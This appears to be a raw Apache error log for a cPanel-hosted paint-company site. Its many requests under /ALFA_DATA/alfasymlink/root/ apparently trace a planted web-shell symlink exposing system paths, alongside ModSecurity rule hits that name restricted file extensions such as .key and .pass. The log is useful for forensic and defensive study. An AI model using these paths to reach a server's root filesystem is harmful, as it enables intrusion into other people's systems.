[Mon Oct 26 11:31:06.650190 2026] [security2:error] [pid 3044299:tid 3044299] [client 16.216.88.173:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/170_mod_deflate.conf"] [unique_id "at9yOgWgOHT1_mp01JultQAAAD0"]
[Mon Oct 26 11:31:07.231346 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 23.21.228.180:8821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:11.437357 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 52.0.218.219:47457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:19.414137 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 50.16.248.61:10379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:23.393807 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 52.200.58.199:34102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:28.212539 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 98.84.184.80:48709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:31.231711 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 34.205.163.103:45767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:35.359320 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 54.91.122.193:44683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:43.589422 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 52.23.112.144:33916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:47.533454 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 100.29.34.97:3903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:48.478694 2026] [core:error] [pid 3052688:tid 3052688] (13)Permission denied: [client 85.208.96.196:53804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/cpu_partial
[Mon Oct 26 11:31:53.170639 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 3.218.35.239:64209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:54.081561 2026] [security2:error] [pid 3044299:tid 3044299] [client 216.244.66.250:37820] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/dhclient-script"] [unique_id "at9yagWgOHT1_mp01JuluAAAAD0"]
[Mon Oct 26 11:31:54.081603 2026] [security2:error] [pid 3044299:tid 3044299] [client 216.244.66.250:37820] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/dhclient-script"] [unique_id "at9yagWgOHT1_mp01JuluAAAAD0"]
[Mon Oct 26 11:31:55.553996 2026] [ssl:error] [pid 3055419:tid 3055419] (5)Input/output error: [client 34.227.156.153:55767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:59.641506 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 23.23.214.190:4944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:15.469508 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.85.7.119:26611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:15.469736 2026] [security2:error] [pid 3050354:tid 3050354] [client 54.85.7.119:26611] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/softraw"] [unique_id "at9yf5YCuZKm1doEZwUIswAAAAQ"]
[Mon Oct 26 11:32:15.469760 2026] [security2:error] [pid 3050354:tid 3050354] [client 54.85.7.119:26611] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/softraw"] [unique_id "at9yf5YCuZKm1doEZwUIswAAAAQ"]
[Mon Oct 26 11:32:19.560975 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.212.205.90:58317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:23.901061 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.225.181.161:39961] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:27.649786 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.212.232.231:13950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:31.700491 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.229.2.217:51964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:39.511468 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 52.4.213.199:64306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:51.628927 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 34.194.14.255:32705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:55.633289 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 44.205.180.155:53186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:56.684556 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 185.191.171.7:38862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:32:56.717786 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 185.191.171.7:38872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:03.962016 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.205.120.22:61854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:11.825772 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.206.93.215:31611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:15.713495 2026] [ssl:error] [pid 3056771:tid 3056771] (5)Input/output error: [client 52.70.209.13:49574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:35.833400 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 35.174.141.243:36917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:39.826852 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 98.84.70.201:10595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:44.024264 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 23.21.148.226:12086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:47.918182 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.222.85.38:16544] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:33:51.925971 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 18.215.77.19:35799] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/module/iptable_mangle/uevent
[Mon Oct 26 11:34:02.629238 2026] [security2:error] [pid 3048989:tid 3048989] [client 16.216.88.228:49152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/user.conf"] [unique_id "at9y6kmzUzpEWLVSYlDG2AAAAAk"]
[Mon Oct 26 11:34:02.629882 2026] [security2:error] [pid 3048989:tid 3048989] [client 16.216.88.228:49152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/user.conf"] [unique_id "at9y6kmzUzpEWLVSYlDG2AAAAAk"]
[Mon Oct 26 11:34:02.630282 2026] [security2:error] [pid 3048989:tid 3048989] [client 16.216.88.228:49152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/user.conf"] [unique_id "at9y6kmzUzpEWLVSYlDG2AAAAAk"]
[Mon Oct 26 11:34:03.775113 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 3.93.211.16:9600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/bind
[Mon Oct 26 11:34:04.420058 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54959] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9y37RNJnL4L9TV9UoY4wAAAEE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:34:04.420110 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54959] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9y37RNJnL4L9TV9UoY4wAAAEE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:34:12.043322 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.166.126.132:39835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:34:15.803792 2026] [core:error] [pid 3055621:tid 3055621] (13)Permission denied: [client 54.235.125.129:11268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:1e/subsystem/drivers/battery/unbind
[Mon Oct 26 11:34:28.501228 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.54.249.218:32877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:34:31.692253 2026] [core:error] [pid 3055621:tid 3055621] (13)Permission denied: [client 85.208.96.208:20086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ext4/sections/__jump_table
[Mon Oct 26 11:34:32.687670 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.89.176.255:49173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:34:44.071441 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.207.47.227:59590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:34:47.905152 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.205.213.231:37915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:34:55.826264 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 52.4.76.156:3863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:35:00.030135 2026] [core:error] [pid 3056771:tid 3056771] (13)Permission denied: [client 52.3.104.214:7156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/resource0
[Mon Oct 26 11:35:03.908058 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.54.15.103:62874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:35:11.700465 2026] [core:error] [pid 3056771:tid 3056771] (13)Permission denied: [client 52.44.148.203:60500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/6/module/uevent
[Mon Oct 26 11:35:15.743607 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 35.153.86.200:10453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:35:16.477997 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 85.208.96.203:57766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/min_partial
[Mon Oct 26 11:35:23.322768 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 185.191.171.16:26992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/shrink
[Mon Oct 26 11:35:28.374216 2026] [core:error] [pid 3052563:tid 3052563] (13)Permission denied: [client 3.213.46.222:13077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory14/subsystem/drivers_probe
[Mon Oct 26 11:35:44.583735 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.206.93.215:47179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:36:01.789096 2026] [security2:error] [pid 3044287:tid 3044287] [client 107.172.76.131:54964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9zVuB-mimojwsYlvDtCgAAADE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:36:01.789232 2026] [security2:error] [pid 3044287:tid 3044287] [client 107.172.76.131:54964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9zVuB-mimojwsYlvDtCgAAADE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:36:03.969974 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 100.27.153.9:5185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:36:15.750038 2026] [core:error] [pid 3052688:tid 3052688] (13)Permission denied: [client 54.167.32.123:33596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/io_type
[Mon Oct 26 11:36:19.915298 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 98.83.94.113:23193] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:36:23.863523 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 18.211.148.239:60568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:36:27.691635 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 100.29.34.97:48932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/remote_node_defrag_ratio
[Mon Oct 26 11:36:53.886409 2026] [core:error] [pid 3044268:tid 3044268] (13)Permission denied: [client 85.208.96.203:59198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/objs_per_slab
[Mon Oct 26 11:36:59.665699 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 23.21.175.228:63590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:03.982992 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 18.213.240.226:14983] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:08.047612 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 23.21.148.226:37012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:11.870665 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.93.211.16:6457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:23.787627 2026] [core:error] [pid 3057239:tid 3057239] (13)Permission denied: [client 3.94.40.182:37078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/resource4
[Mon Oct 26 11:37:31.718516 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.212.219.113:52968] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:34.913929 2026] [ssl:error] [pid 3056771:tid 3056771] (70014)End of file found: [client 185.191.171.1:63080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:35.903194 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.229.95.193:12820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:35.903402 2026] [security2:error] [pid 3044299:tid 3044299] [client 3.229.95.193:12820] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/id"] [unique_id "at9zvwWgOHT1_mp01JulwAAAAD0"]
[Mon Oct 26 11:37:35.903442 2026] [security2:error] [pid 3044299:tid 3044299] [client 3.229.95.193:12820] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/id"] [unique_id "at9zvwWgOHT1_mp01JulwAAAAD0"]
[Mon Oct 26 11:37:37.967614 2026] [security2:error] [pid 3057239:tid 3057239] [client 192.144.148.122:52084] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at9zwQ0g2jjdjIvFvbzYIgAAAAY"]
[Mon Oct 26 11:37:44.036262 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 50.19.221.48:31445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:51.732645 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.225.181.161:56806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:37:55.708368 2026] [core:error] [pid 3039832:tid 3039832] (13)Permission denied: [client 3.93.211.16:14382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rescan
[Mon Oct 26 11:38:04.158988 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 34.202.88.37:46646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:38:04.738902 2026] [security2:error] [pid 3044281:tid 3044281] [client 107.172.76.131:54980] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9z0K35Sx5rx6P-SwLpmAAAAC8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:38:04.738972 2026] [security2:error] [pid 3044281:tid 3044281] [client 107.172.76.131:54980] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9z0K35Sx5rx6P-SwLpmAAAAC8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:38:08.209012 2026] [ssl:error] [pid 3056763:tid 3056763] (70014)End of file found: [client 44.215.61.66:42324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:38:16.366520 2026] [security2:error] [pid 3052563:tid 3052563] [client 107.172.76.131:54995] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9z3BD8ps0KDjAKLrNJzQAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:38:16.366587 2026] [security2:error] [pid 3052563:tid 3052563] [client 107.172.76.131:54995] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9z3BD8ps0KDjAKLrNJzQAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:38:27.806586 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 54.235.172.96:62971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:38:35.689860 2026] [core:error] [pid 3057476:tid 3057476] (13)Permission denied: [client 98.83.72.38:27101] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/physical_node/crash_notes_size
[Mon Oct 26 11:38:51.787367 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 52.54.15.103:35670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:38:53.394421 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 185.191.171.18:14230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:38:55.757417 2026] [core:error] [pid 3056771:tid 3056771] (13)Permission denied: [client 52.203.65.83:44878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/event0/subsystem/input1/event1/device/device/driver/bind
[Mon Oct 26 11:39:07.960227 2026] [ssl:error] [pid 3057439:tid 3057439] (70014)End of file found: [client 3.221.156.96:59837] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:39:11.769437 2026] [core:error] [pid 3056771:tid 3056771] (13)Permission denied: [client 3.89.170.186:58327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/uartclk
[Mon Oct 26 11:39:23.712074 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 52.207.47.227:17761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:39:27.785588 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 52.70.209.13:7756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:39:32.361818 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 52.44.174.136:29498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:39:39.744142 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.212.145.46:35753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:39:43.737984 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 50.19.102.70:22252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:39:55.806147 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 18.232.36.1:2526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:40:04.307865 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 85.208.96.203:33752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/order
[Mon Oct 26 11:40:04.330659 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.214.19.8:12167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:40:08.561297 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/backuply/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/backuply/' is executable
[Mon Oct 26 11:40:08.561367 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/pure-ftpd/' is executable
[Mon Oct 26 11:40:08.561953 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/chkservd.services_suspend/' is executable
[Mon Oct 26 11:40:08.562045 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/restartsrv/' is executable
[Mon Oct 26 11:40:08.562066 2026] [core:crit] [pid 3055419:tid 3055419] (13)Permission denied: [client 185.191.171.12:64396] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/chrony/' is executable
